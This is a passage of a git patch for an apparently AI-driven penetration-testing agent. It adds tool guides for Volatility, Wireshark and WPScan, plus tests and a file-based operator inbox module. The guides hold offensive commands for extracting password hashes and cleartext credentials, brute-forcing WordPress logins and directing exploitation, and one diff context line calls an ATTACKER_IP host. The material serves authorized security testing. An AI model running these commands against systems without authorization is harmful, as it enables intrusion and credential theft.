memory.dmp windows.netstat +``` + +### File Extraction +``` +vol -f memory.dmp windows.filescan +vol -f memory.dmp windows.dumpfiles --pid PID +``` + +### Registry Analysis +``` +vol -f memory.dmp windows.registry.hivelist +vol -f memory.dmp windows.registry.printkey --key "SAM\Domains\Account\Users" +``` + +### Malware Detection +``` +vol -f memory.dmp windows.malfind +vol -f memory.dmp windows.vadinfo --pid PID +``` + +## Output Analysis + +- **Password hashes** -- NTLM, cached domain creds; crack with Hashcat or relay +- **Running processes** -- identify security tools, services, and suspicious processes +- **Network connections** -- active sessions, C2 channels, lateral movement evidence +- **Loaded DLLs** -- injected code, hooking, persistence mechanisms +- **Registry data** -- cached credentials, autorun entries, service configurations +- **File artifacts** -- extracted documents, configs, and temporary files + +## Integration with Strix + +- Extracted hashes feed into Hashcat/John for offline cracking +- Discovered credentials enable authenticated testing across networked services +- Network connection data reveals internal services for expanded Strix scope +- Process and service analysis informs post-exploitation strategy diff --git a/strix/skills/tools/wireshark.md b/strix/skills/tools/wireshark.md new file mode 100644 index 000000000..b1fc26764 --- /dev/null +++ b/strix/skills/tools/wireshark.md @@ -0,0 +1,83 @@ +--- +name: wireshark +description: Operator-assisted Wireshark workflows for network traffic capture, protocol analysis, and credential extraction +category: tools +tags: [network, analysis, packet-capture, operator-assisted] +--- + +# Wireshark + +Network protocol analyzer for packet capture and deep inspection. Use for traffic analysis, credential extraction, protocol debugging, and verifying encryption. + +## When to Request + +- When analyzing network-level communication between services +- To verify TLS/SSL implementation and detect cleartext credentials +- For protocol-specific analysis (DNS, ARP, SMB, HTTP) +- When debugging application behavior at the network layer +- To capture and analyze traffic from MITM positions + +## Operator-Assisted Workflow + +1. Agent identifies what traffic to capture and between which endpoints +2. Agent provides capture filter and display filter specifications +3. Operator runs capture (Wireshark GUI or tshark CLI) and provides results +4. Agent analyzes extracted data: credentials, tokens, protocol anomalies +5. Agent uses findings to direct further attacks or validate vulnerabilities + +## Key Commands (tshark CLI) + +### Capture Traffic +``` +tshark -i INTERFACE -w capture.pcap -f "host TARGET" +``` + +### HTTP Credential Extraction +``` +tshark -r capture.pcap -Y "http.request.method == POST" -T fields -e http.host -e http.request.uri -e http.file_data +``` + +### DNS Queries +``` +tshark -r capture.pcap -Y "dns.qry.name" -T fields -e dns.qry.name -e dns.a +``` + +### TLS Analysis +``` +tshark -r capture.pcap -Y "tls.handshake.type == 1" -T fields -e tls.handshake.extensions_server_name -e tls.handshake.ciphersuite +``` + +### SMB/Authentication +``` +tshark -r capture.pcap -Y "ntlmssp.auth" -T fields -e ntlmssp.auth.username -e ntlmssp.auth.domain +``` + +### Follow TCP Stream +``` +tshark -r capture.pcap -z follow,tcp,ascii,0 +``` + +## Display Filters + +- **HTTP**: `http.request`, `http.response.code == 200`, `http.cookie` +- **Credentials**: `http.authorization`, `ftp.request.command == "PASS"`, `smtp.auth` +- **DNS**: `dns`, `dns.qry.type == 1`, `dns.flags.response == 0` +- **TLS**: `tls`, `tls.alert_message`, `tls.handshake` +- **ARP**: `arp`, `arp.duplicate-address-detected` +- **TCP**: `tcp.flags.syn == 1 && tcp.flags.ack == 0` (SYN only) + +## Output Analysis + +- **Cleartext credentials** -- HTTP Basic, FTP, SMTP, Telnet passwords captured in transit +- **Session tokens** -- cookies and auth tokens in unencrypted traffic +- **DNS queries** -- reveal internal hostnames, service discovery, data exfiltration channels +- **TLS versions and ciphers** -- identify weak encryption (SSLv3, TLS 1.0, weak ciphers) +- **ARP anomalies** -- detect ARP spoofing or identify network topology +- **Protocol errors** -- retransmissions, resets indicating network issues or security controls + +## Integration with Strix + +- Traffic analysis validates findings from application-level Strix testing +- Cleartext credentials discovered feed into credential reuse testing +- DNS analysis reveals internal architecture for expanded testing scope +- TLS analysis confirms encryption weaknesses identified by other tools diff --git a/strix/skills/tools/wpscan.md b/strix/skills/tools/wpscan.md new file mode 100644 index 000000000..cf6f883b9 --- /dev/null +++ b/strix/skills/tools/wpscan.md @@ -0,0 +1,74 @@ +--- +name: wpscan +description: Operator-assisted WPScan workflows for WordPress vulnerability scanning, plugin/theme enumeration, and user discovery +category: tools +tags: [scanning, wordpress, web, operator-assisted] +--- + +# WPScan + +WordPress-specific security scanner for core, plugin, and theme vulnerability detection, user enumeration, and configuration analysis. Essential when a target runs WordPress. + +## When to Request + +- When WordPress is identified on any target (via headers, meta tags, wp-login, /wp-content/) +- To enumerate installed plugins and themes with known vulnerabilities +- For WordPress user enumeration +- To check WordPress core version against known CVEs + +## Operator-Assisted Workflow + +1. Agent identifies WordPress installation from recon or technology fingerprinting +2. Agent requests WPScan with appropriate enumeration flags +3. Operator runs scan (API token recommended for vulnerability data) and provides output +4. Agent maps vulnerabilities to plugins/themes/core versions +5. Agent directs exploitation of confirmed vulnerabilities + +## Key Commands + +### Full Enumeration +``` +wpscan --url https://TARGET -e ap,at,u --api-token API_TOKEN -o wpscan.json -f json +``` + +### Plugin Enumeration (Aggressive) +``` +wpscan --url https://TARGET -e ap --plugins-detection aggressive --api-token API_TOKEN -o plugins.json -f json +``` + +### User Enumeration +``` +wpscan --url https://TARGET -e u1-100 -o users.json -f json +``` + +### Password Brute Force +``` +wpscan --url https://TARGET -U users.txt -P passwords.txt --max-threads 10 +``` + +### Specific Plugin Check +``` +wpscan --url https://TARGET --plugins-detection aggressive -e ap --api-token API_TOKEN -o output.json -f json +``` + +### Stealthy Scan +``` +wpscan --url https://TARGET -e ap,u --plugins-detection passive --random-user-agent --throttle 500 -o output.json -f json +``` + +## Output Analysis + +- **Vulnerable plugins/themes** -- highest priority; check exploit availability in WPVulnDB, ExploitDB +- **Outdated WordPress core** -- version-specific CVEs; check for unauthenticated RCE/SQLi/XSS +- **Discovered users** -- feed into brute force or credential stuffing attacks +- **XML-RPC enabled** -- potential for brute force amplification, SSRF, pingback DDoS +- **Debug mode** -- information disclosure; may expose database credentials or paths +- **Directory listing** -- enumerate wp-content/uploads for sensitive files +- **Backup files** -- wp-config.php.bak, .sql dumps containing credentials + +## Integration with Strix + +- Vulnerable plugins with known RCE/SQLi feed directly into exploitation via Strix agents +- Discovered usernames used for authentication testing against wp-login and XML-RPC +- Plugin and theme info informs custom payload crafting for XSS and injection testing +- wp-config exposure feeds into credential reuse testing against databases and other services diff --git a/tests/skills/test_tool_skills.py b/tests/skills/test_tool_skills.py new file mode 100644 index 000000000..49e0dd4b3 --- /dev/null +++ b/tests/skills/test_tool_skills.py @@ -0,0 +1,237 @@ +"""Tests for the operator-assisted tool skills in strix/skills/tools/.""" + +import re + +import pytest + +from strix.skills import ( + get_all_skill_names, + get_available_skills, + load_skills, + validate_skill_names, +) +from strix.utils.resource_paths import get_strix_resource_path + + +SKILLS_DIR = get_strix_resource_path("skills") +TOOLS_DIR = SKILLS_DIR / "tools" +FRONTMATTER_RE = re.compile(r"^---\s*\n(.*?)\n---\s*\n", re.DOTALL) + +# All 25 tool skill file stems (must match filenames without .md) +TOOL_SKILLS = [ + "nmap", + "nikto", + "gobuster", + "ffuf", + "theharvester", + "nuclei", + "wpscan", + "metasploit", + "sqlmap", + "hydra", + "beef", + "set", + "burp_suite", + "owasp_zap", + "wireshark", + "john_the_ripper", + "hashcat", + "netexec", + "responder", + "bettercap", + "bloodhound", + "ghidra", + "volatility", + "aircrack_ng", + "maltego", +] + + +def _parse_frontmatter(raw: str) -> dict[str, str]: + match = FRONTMATTER_RE.match(raw) + if not match: + return {} + pairs: dict[str, str] = {} + for line in match.group(1).splitlines(): + if ":" in line: + key, _, value = line.partition(":") + pairs[key.strip()] = value.strip() + return pairs + + +# --------------------------------------------------------------------------- +# Category discovery +# --------------------------------------------------------------------------- + + +class TestToolsCategoryDiscovery: + """Verify the tools category is discovered by the skill loader.""" + + def test_tools_category_exists(self) -> None: + available = get_available_skills() + assert "tools" in available, "tools category not discovered by loader" + + def test_tools_category_has_25_skills(self) -> None: + available = get_available_skills() + assert len(available["tools"]) == 25 + + def test_all_tool_skills_in_all_names(self) -> None: + all_names = get_all_skill_names() + for skill in TOOL_SKILLS: + assert skill in all_names, f"{skill} not in get_all_skill_names()" + + +# --------------------------------------------------------------------------- +# Validation +# --------------------------------------------------------------------------- + + +class TestToolSkillValidation: + """Verify tool skills pass name validation.""" + + def test_all_tool_skills_valid(self) -> None: + result = validate_skill_names(TOOL_SKILLS) + assert result["invalid"] == [], f"Invalid tool skills: {result['invalid']}" + assert len(result["valid"]) == 25 + + +# --------------------------------------------------------------------------- +# Loading +# --------------------------------------------------------------------------- + + +class TestToolSkillLoading: + """Verify all tool skills load correctly with frontmatter stripped.""" + + @pytest.fixture + def loaded(self) -> dict[str, str]: + return load_skills(TOOL_SKILLS) + + def test_all_25_load(self, loaded: dict[str, str]) -> None: + assert len(loaded) == 25, f"Only {len(loaded)}/25 skills loaded" + + def test_frontmatter_stripped(self, loaded: dict[str, str]) -> None: + for name, content in loaded.items(): + assert not content.startswith("---"), f"Frontmatter not stripped from {name}" + + def test_content_not_empty(self, loaded: dict[str, str]) -> None: + for name, content in loaded.items(): + assert len(content.strip()) > 200, f"{name} content suspiciously short" + + +# --------------------------------------------------------------------------- +# Frontmatter quality +# --------------------------------------------------------------------------- + + +class TestToolSkillFrontmatter: + """Verify every tool skill has valid frontmatter with required fields.""" + + @pytest.fixture + def all_tool_files(self) -> list[tuple[str, str]]: + """Return (stem, raw_content) for each tool skill.""" + return [ + (md.stem, md.read_text(encoding="utf-8")) + for md in sorted(TOOLS_DIR.glob("*.md")) + ] + + def test_all_have_frontmatter(self, all_tool_files: list[tuple[str, str]]) -> None: + for stem, content in all_tool_files: + assert content.startswith("---"), f"{stem}.md missing frontmatter" + + def test_all_have_name_field(self, all_tool_files: list[tuple[str, str]]) -> None: + for stem, content in all_tool_files: + fm = _parse_frontmatter(content) + assert "name" in fm, f"{stem}.md missing name in frontmatter" + + def test_all_have_description_field(self, all_tool_files: list[tuple[str, str]]) -> None: + for stem, content in all_tool_files: + fm = _parse_frontmatter(content) + assert "description" in fm, f"{stem}.md missing description in frontmatter" + assert len(fm["description"]) > 20, f"{stem}.md description too short" + + def test_all_have_category_tools(self, all_tool_files: list[tuple[str, str]]) -> None: + for stem, content in all_tool_files: + fm = _parse_frontmatter(content) + assert fm.get("category") == "tools", f"{stem}.md category is not 'tools'" + + def test_all_have_operator_assisted_tag(self, all_tool_files: list[tuple[str, str]]) -> None: + for stem, content in all_tool_files: + fm = _parse_frontmatter(content) + tags = fm.get("tags", "") + assert "operator-assisted" in tags, f"{stem}.md missing operator-assisted tag" + + +# --------------------------------------------------------------------------- +# HIL content structure +# --------------------------------------------------------------------------- + + +class TestToolSkillHILContent: + """Verify every tool skill has the required operator-assisted workflow sections.""" + + @pytest.fixture + def all_tool_files(self) -> list[tuple[str, str]]: + return [ + (md.stem, md.read_text(encoding="utf-8")) + for md in sorted(TOOLS_DIR.glob("*.md")) + ] + + def test_has_operator_assisted_workflow(self, all_tool_files: list[tuple[str, str]]) -> None: + for stem, content in all_tool_files: + assert "operator-assisted workflow" in content.lower(), ( + f"{stem}.md missing Operator-Assisted Workflow section" + ) + + def test_has_key_commands(self, all_tool_files: list[tuple[str, str]]) -> None: + for stem, content in all_tool_files: + lower = content.lower() + has_commands = ( + "## key commands" in lower + or "## key workflows" in lower + or "## key transforms" in lower + ) + assert has_commands, f"{stem}.md missing Key Commands/Workflows/Transforms section" + + def test_has_output_analysis(self, all_tool_files: list[tuple[str, str]]) -> None: + for stem, content in all_tool_files: + assert "## output analysis" in content.lower(), ( + f"{stem}.md missing Output Analysis section" + ) + + def test_has_integration_section(self, all_tool_files: list[tuple[str, str]]) -> None: + for stem, content in all_tool_files: + assert "## integration with strix" in content.lower(), ( + f"{stem}.md missing Integration with Strix section" + ) + + def test_has_when_to_request(self, all_tool_files: list[tuple[str, str]]) -> None: + for stem, content in all_tool_files: + assert "## when to request" in content.lower(), ( + f"{stem}.md missing When to Request section" + ) + + def test_workflow_has_numbered_steps(self, all_tool_files: list[tuple[str, str]]) -> None: + """Each HIL workflow should have numbered steps (at least 3).""" + for stem, content in all_tool_files: + # Count lines starting with a number followed by a period in the workflow section + workflow_steps = len(re.findall(r"^\d+\.\s", content, re.MULTILINE)) + assert workflow_steps >= 3, ( + f"{stem}.md has fewer than 3 numbered workflow steps ({workflow_steps})" + ) + + +# --------------------------------------------------------------------------- +# File count sanity check +# --------------------------------------------------------------------------- + + +class TestToolSkillFileCount: + """Verify the tools directory has exactly 25 .md files.""" + + def test_exactly_25_files(self) -> None: + md_files = list(TOOLS_DIR.glob("*.md")) + assert len(md_files) == 25, ( + f"Expected 25 tool skill files, found {len(md_files)}: " + f"{[f.stem for f in md_files]}" + ) From 96e1961165f806faf0682c9926677f081ee4544d Mon Sep 17 00:00:00 2001 From: Ubuntu Date: Sun, 1 Mar 2026 23:37:08 +0000 Subject: [PATCH 3/4] Add HIL file-based input manager for operator-assisted tool workflows - Add strix/hil/ package with InputManager for file-drop inbox I/O - Add HIL_INBOX_PATH to Config for custom inbox location - Add Operator Help section to all 25 tool skill .md files - Add HIL_INBOX_PATH to README configuration section - Add 44 tests covering full request/response flow, timeout, cleanup, config integration, tool md validation, and module exports --- README.md | 1 + strix/config/config.py | 3 + strix/hil/__init__.py | 28 ++ strix/hil/inbox/.gitkeep | 0 strix/hil/input_manager.py | 222 +++++++++++++ strix/skills/tools/aircrack_ng.md | 18 ++ strix/skills/tools/beef.md | 18 ++ strix/skills/tools/bettercap.md | 18 ++ strix/skills/tools/bloodhound.md | 18 ++ strix/skills/tools/burp_suite.md | 18 ++ strix/skills/tools/ffuf.md | 18 ++ strix/skills/tools/ghidra.md | 18 ++ strix/skills/tools/gobuster.md | 18 ++ strix/skills/tools/hashcat.md | 18 ++ strix/skills/tools/hydra.md | 18 ++ strix/skills/tools/john_the_ripper.md | 18 ++ strix/skills/tools/maltego.md | 18 ++ strix/skills/tools/metasploit.md | 18 ++ strix/skills/tools/netexec.md | 18 ++ strix/skills/tools/nikto.md | 18 ++ strix/skills/tools/nmap.md | 18 ++ strix/skills/tools/nuclei.md | 18 ++ strix/skills/tools/owasp_zap.md | 18 ++ strix/skills/tools/responder.md | 18 ++ strix/skills/tools/set.md | 18 ++ strix/skills/tools/sqlmap.md | 18 ++ strix/skills/tools/theharvester.md | 18 ++ strix/skills/tools/volatility.md | 18 ++ strix/skills/tools/wireshark.md | 18 ++ strix/skills/tools/wpscan.md | 18 ++ tests/hil/__init__.py | 0 tests/hil/test_input_manager.py | 433 ++++++++++++++++++++++++++ 32 files changed, 1137 insertions(+) create mode 100644 strix/hil/__init__.py create mode 100644 strix/hil/inbox/.gitkeep create mode 100644 strix/hil/input_manager.py create mode 100644 tests/hil/__init__.py create mode 100644 tests/hil/test_input_manager.py diff --git a/README.md b/README.md index 9b8f96e48..f46526d4a 100644 --- a/README.md +++ b/README.md @@ -218,6 +218,7 @@ export LLM_API_KEY="your-api-key" export LLM_API_BASE="your-api-base-url" # if using a local model, e.g. Ollama, LMStudio export PERPLEXITY_API_KEY="your-api-key" # for search capabilities export STRIX_REASONING_EFFORT="high" # control thinking effort (default: high, quick scan: medium) +export HIL_INBOX_PATH="strix/hil/inbox" # file-drop inbox for operator-assisted tool output ``` > [!NOTE] diff --git a/strix/config/config.py b/strix/config/config.py index 7578b61d3..aa3952734 100644 --- a/strix/config/config.py +++ b/strix/config/config.py @@ -45,6 +45,9 @@ class Config: strix_sandbox_execution_timeout = "120" strix_sandbox_connect_timeout = "10" + # Human-in-the-Loop (HIL) file-based input + hil_inbox_path = None + # Telemetry strix_telemetry = "1" diff --git a/strix/hil/__init__.py b/strix/hil/__init__.py new file mode 100644 index 000000000..084fe5225 --- /dev/null +++ b/strix/hil/__init__.py @@ -0,0 +1,28 @@ +"""Human-in-the-Loop (HIL) file-based input manager for operator-assisted workflows. + +Replaces fragile copy-paste via terminal input() / Caido proxy with a +file-drop inbox. The agent writes a request file, the operator drops a +response file, and the agent picks it up -- works for arbitrarily large +tool outputs (Nmap, Burp, Metasploit, etc.). +""" + +from strix.hil.input_manager import ( + HILTimeoutError, + InputManager, + clear_inbox, + get_inbox_path, + list_pending_requests, + request_input, + wait_for_response, +) + + +__all__ = [ + "HILTimeoutError", + "InputManager", + "clear_inbox", + "get_inbox_path", + "list_pending_requests", + "request_input", + "wait_for_response", +] diff --git a/strix/hil/inbox/.gitkeep b/strix/hil/inbox/.gitkeep new file mode 100644 index 000000000..e69de29bb diff --git a/strix/hil/input_manager.py b/strix/hil/input_manager.py new file mode 100644 index 000000000..28d2628ed --- /dev/null +++ b/strix/hil/input_manager.py @@ -0,0 +1,222 @@ +"""File-based Human-in-the-Loop input manager. + +Instead of relying on ``input()`` or Caido proxy copy-paste (which breaks +for large outputs), the agent writes a *request* file into a shared inbox +directory and the operator drops a *response* file. The agent polls for +the response and returns its contents once available. + +Directory layout:: + + / + req_.txt -- written by agent (prompt / instructions) + resp_.txt -- written by operator (tool output / answer) +""" + +from __future__ import annotations + +import logging +import os +import time +from pathlib import Path + + +logger = logging.getLogger(__name__) + +# Prefix constants for request and response filenames. +_REQ_PREFIX = "req_" +_RESP_PREFIX = "resp_" +_FILE_SUFFIX = ".txt" + +# Default polling interval in seconds. +_DEFAULT_POLL_INTERVAL = 2 + +# Default timeout in seconds (5 minutes). +_DEFAULT_TIMEOUT = 300 + + +class HILTimeoutError(TimeoutError): + """Raised when the operator does not respond within the timeout window.""" + + +def get_inbox_path() -> Path: + """Return the resolved inbox directory path. + + The path is determined by (in order of precedence): + 1. The ``HIL_INBOX_PATH`` environment variable. + 2. The ``strix/hil/inbox`` directory relative to the package root. + + The directory is created (``mkdir -p``) if it does not yet exist. + """ + env_path = os.getenv("HIL_INBOX_PATH") + inbox = Path(env_path) if env_path else Path(__file__).resolve().parent / "inbox" + + inbox.mkdir(parents=True, exist_ok=True) + return inbox + + +def request_input(task_id: str, prompt: str, *, inbox: Path | None = None) -> Path: + """Write a request file that tells the operator what is needed. + + Args: + task_id: Unique identifier for this request (e.g. a UUID hex string). + prompt: Human-readable instructions for the operator. + inbox: Override inbox directory (defaults to :func:`get_inbox_path`). + + Returns: + The :class:`~pathlib.Path` of the created request file. + """ + inbox_dir = inbox or get_inbox_path() + req_file = inbox_dir / f"{_REQ_PREFIX}{task_id}{_FILE_SUFFIX}" + req_file.write_text(prompt, encoding="utf-8") + logger.info("[HIL] Request written: %s", req_file) + logger.info("[HIL] Drop answer as: %s/%s%s%s", inbox_dir, _RESP_PREFIX, task_id, _FILE_SUFFIX) + return req_file + + +def wait_for_response( + task_id: str, + *, + timeout: int = _DEFAULT_TIMEOUT, + poll_interval: int = _DEFAULT_POLL_INTERVAL, + inbox: Path | None = None, + cleanup: bool = True, +) -> str: + """Block until the operator drops a response file, then return its contents. + + Args: + task_id: The same identifier used in :func:`request_input`. + timeout: Maximum seconds to wait before raising :class:`HILTimeoutError`. + poll_interval: Seconds between filesystem polls. + inbox: Override inbox directory (defaults to :func:`get_inbox_path`). + cleanup: If ``True``, delete both the request and response files + after a successful read. + + Returns: + The full text content of the response file. + + Raises: + HILTimeoutError: If the response file is not found within *timeout*. + """ + inbox_dir = inbox or get_inbox_path() + resp_file = inbox_dir / f"{_RESP_PREFIX}{task_id}{_FILE_SUFFIX}" + req_file = inbox_dir / f"{_REQ_PREFIX}{task_id}{_FILE_SUFFIX}" + + elapsed = 0 + while elapsed < timeout: + if resp_file.exists(): + data = resp_file.read_text(encoding="utf-8") + logger.info("[HIL] Response received for task %s (%d bytes)", task_id, len(data)) + if cleanup: + resp_file.unlink(missing_ok=True) + req_file.unlink(missing_ok=True) + return data + time.sleep(poll_interval) + elapsed += poll_interval + + msg = f"No response for task {task_id} within {timeout}s" + logger.warning("[HIL] %s", msg) + raise HILTimeoutError(msg) + + +def list_pending_requests(*, inbox: Path | None = None) -> list[dict[str, str]]: + """Return a list of pending (unanswered) request files in the inbox. + + Each entry is a dict with keys ``task_id`` and ``prompt``. + """ + inbox_dir = inbox or get_inbox_path() + pending: list[dict[str, str]] = [] + for req_file in sorted(inbox_dir.glob(f"{_REQ_PREFIX}*{_FILE_SUFFIX}")): + task_id = req_file.stem.removeprefix(_REQ_PREFIX) + resp_file = inbox_dir / f"{_RESP_PREFIX}{task_id}{_FILE_SUFFIX}" + if not resp_file.exists(): + prompt = req_file.read_text(encoding="utf-8") + pending.append({"task_id": task_id, "prompt": prompt}) + return pending + + +def clear_inbox(*, inbox: Path | None = None) -> int: + """Remove all request and response files from the inbox. + + Returns: + The number of files deleted. + """ + inbox_dir = inbox or get_inbox_path() + count = 0 + for pattern in (f"{_REQ_PREFIX}*{_FILE_SUFFIX}", f"{_RESP_PREFIX}*{_FILE_SUFFIX}"): + for f in inbox_dir.glob(pattern): + f.unlink(missing_ok=True) + count += 1 + logger.info("[HIL] Cleared %d file(s) from inbox", count) + return count + + +class InputManager: + """Stateful wrapper around the HIL inbox for a single agent session. + + Provides a convenient interface for agents that need to make multiple + operator requests during a single run. + + Args: + inbox: Override inbox directory (defaults to :func:`get_inbox_path`). + default_timeout: Default timeout in seconds for :meth:`ask`. + """ + + def __init__( + self, + *, + inbox: Path | None = None, + default_timeout: int = _DEFAULT_TIMEOUT, + ) -> None: + self._inbox = inbox or get_inbox_path() + self._default_timeout = default_timeout + self._history: list[dict[str, str]] = [] + + @property + def inbox(self) -> Path: + """The resolved inbox directory.""" + return self._inbox + + def ask( + self, + task_id: str, + prompt: str, + *, + timeout: int | None = None, + cleanup: bool = True, + ) -> str: + """Request input from the operator and wait for the response. + + This is a convenience method that calls :func:`request_input` + followed by :func:`wait_for_response`. + + Args: + task_id: Unique identifier for this request. + prompt: Instructions for the operator. + timeout: Override timeout (defaults to the instance default). + cleanup: Delete request/response files after reading. + + Returns: + The operator's response text. + """ + request_input(task_id, prompt, inbox=self._inbox) + response = wait_for_response( + task_id, + timeout=timeout or self._default_timeout, + inbox=self._inbox, + cleanup=cleanup, + ) + self._history.append({"task_id": task_id, "prompt": prompt, "response": response}) + return response + + def pending(self) -> list[dict[str, str]]: + """List pending (unanswered) requests in the inbox.""" + return list_pending_requests(inbox=self._inbox) + + def clear(self) -> int: + """Clear all files from the inbox.""" + return clear_inbox(inbox=self._inbox) + + @property + def history(self) -> list[dict[str, str]]: + """Return the list of completed request/response pairs from this session.""" + return list(self._history) diff --git a/strix/skills/tools/aircrack_ng.md b/strix/skills/tools/aircrack_ng.md index f9e07e2a8..4e1703593 100644 --- a/strix/skills/tools/aircrack_ng.md +++ b/strix/skills/tools/aircrack_ng.md @@ -77,3 +77,21 @@ airbase-ng -e "Free WiFi" -c 6 wlan0mon - Network topology discovered via wireless expands Strix's assessment scope - Client devices on wireless networks become targets for further enumeration - Wireless segmentation testing validates network architecture security + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +aircrack-ng [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/beef.md b/strix/skills/tools/beef.md index d59bd6cc7..d04ef7a64 100644 --- a/strix/skills/tools/beef.md +++ b/strix/skills/tools/beef.md @@ -84,3 +84,21 @@ curl -X POST http://ATTACKER_IP:3000/api/modules/HOOK_ID/MODULE_ID?token=API_TOK - Internal network discovery from hooked browsers expands assessment scope - Captured credentials feed into authentication testing - Session tokens captured via BeEF validate session hijacking impact + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +beef [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/bettercap.md b/strix/skills/tools/bettercap.md index 0ed677545..8091fa105 100644 --- a/strix/skills/tools/bettercap.md +++ b/strix/skills/tools/bettercap.md @@ -87,3 +87,21 @@ net.sniff on - DNS spoofing can redirect targets to Strix-monitored infrastructure - Network topology discovery expands the scope for service enumeration - SSL stripping findings document transport security weaknesses + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +bettercap [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/bloodhound.md b/strix/skills/tools/bloodhound.md index 9095bca58..30b42724d 100644 --- a/strix/skills/tools/bloodhound.md +++ b/strix/skills/tools/bloodhound.md @@ -85,3 +85,21 @@ MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name - Kerberoastable accounts feed hashes to Hashcat for cracking - Discovered web applications on AD-joined servers expand Strix's web testing scope - Credential chains from AD inform authentication testing across all services + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +bloodhound [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/burp_suite.md b/strix/skills/tools/burp_suite.md index b00031563..976b34062 100644 --- a/strix/skills/tools/burp_suite.md +++ b/strix/skills/tools/burp_suite.md @@ -82,3 +82,21 @@ Web application security testing proxy with interception, scanning, and manual t - Collaborator findings confirm blind vulnerabilities that Strix's proxy cannot detect - Intruder results for credential testing complement Strix's authentication analysis - Burp scan reports feed into Strix's vulnerability documentation + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +burp-suite [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/ffuf.md b/strix/skills/tools/ffuf.md index 304f515a0..792c49325 100644 --- a/strix/skills/tools/ffuf.md +++ b/strix/skills/tools/ffuf.md @@ -85,3 +85,21 @@ ffuf -u https://TARGET/admin -H "X-Custom-Header: FUZZ" -w values.txt -mc 200 -o - Hidden parameters on API endpoints inform injection and access control testing - Virtual hosts discovered expand the scope for Strix assessments - Parameter names found here help craft targeted payloads for SQLi, XSS, IDOR testing + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +ffuf [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/ghidra.md b/strix/skills/tools/ghidra.md index 2dd2b39df..5154480d7 100644 --- a/strix/skills/tools/ghidra.md +++ b/strix/skills/tools/ghidra.md @@ -86,3 +86,21 @@ for func in fm.getFunctions(True): - Reverse-engineered APIs inform Strix's web/API testing approach - Custom protocol understanding enables targeted fuzzing - Identified vulnerabilities in binaries complement web-layer findings + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +ghidra [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/gobuster.md b/strix/skills/tools/gobuster.md index 472aa033a..3e0089a3e 100644 --- a/strix/skills/tools/gobuster.md +++ b/strix/skills/tools/gobuster.md @@ -83,3 +83,21 @@ gobuster dir -u https://TARGET -w wordlist.txt -s 200,301,302 -o output.txt - New subdomains trigger additional Nmap scans and web assessments - Admin panels and API docs discovered here inform targeted agent creation - 403 paths become targets for access control bypass testing + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +gobuster [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/hashcat.md b/strix/skills/tools/hashcat.md index da9126b4e..1f5fa6efc 100644 --- a/strix/skills/tools/hashcat.md +++ b/strix/skills/tools/hashcat.md @@ -94,3 +94,21 @@ hashcat --session=mycrack --show - Cracked credentials enable authenticated application testing - Password policy assessment based on cracking difficulty informs security recommendations - NetNTLM and Kerberos hashes from AD testing feed directly into Hashcat + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +hashcat [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/hydra.md b/strix/skills/tools/hydra.md index 3d4fc20a7..9291e7f26 100644 --- a/strix/skills/tools/hydra.md +++ b/strix/skills/tools/hydra.md @@ -84,3 +84,21 @@ hydra -C creds.txt TARGET http-post-form "/login:user=^USER^&pass=^PASS^:F=faile - Valid credentials feed into Strix proxy for authenticated application testing - Credential reuse findings expand access across services discovered in recon - Successful authentication informs privilege escalation testing within the application + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +hydra [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the 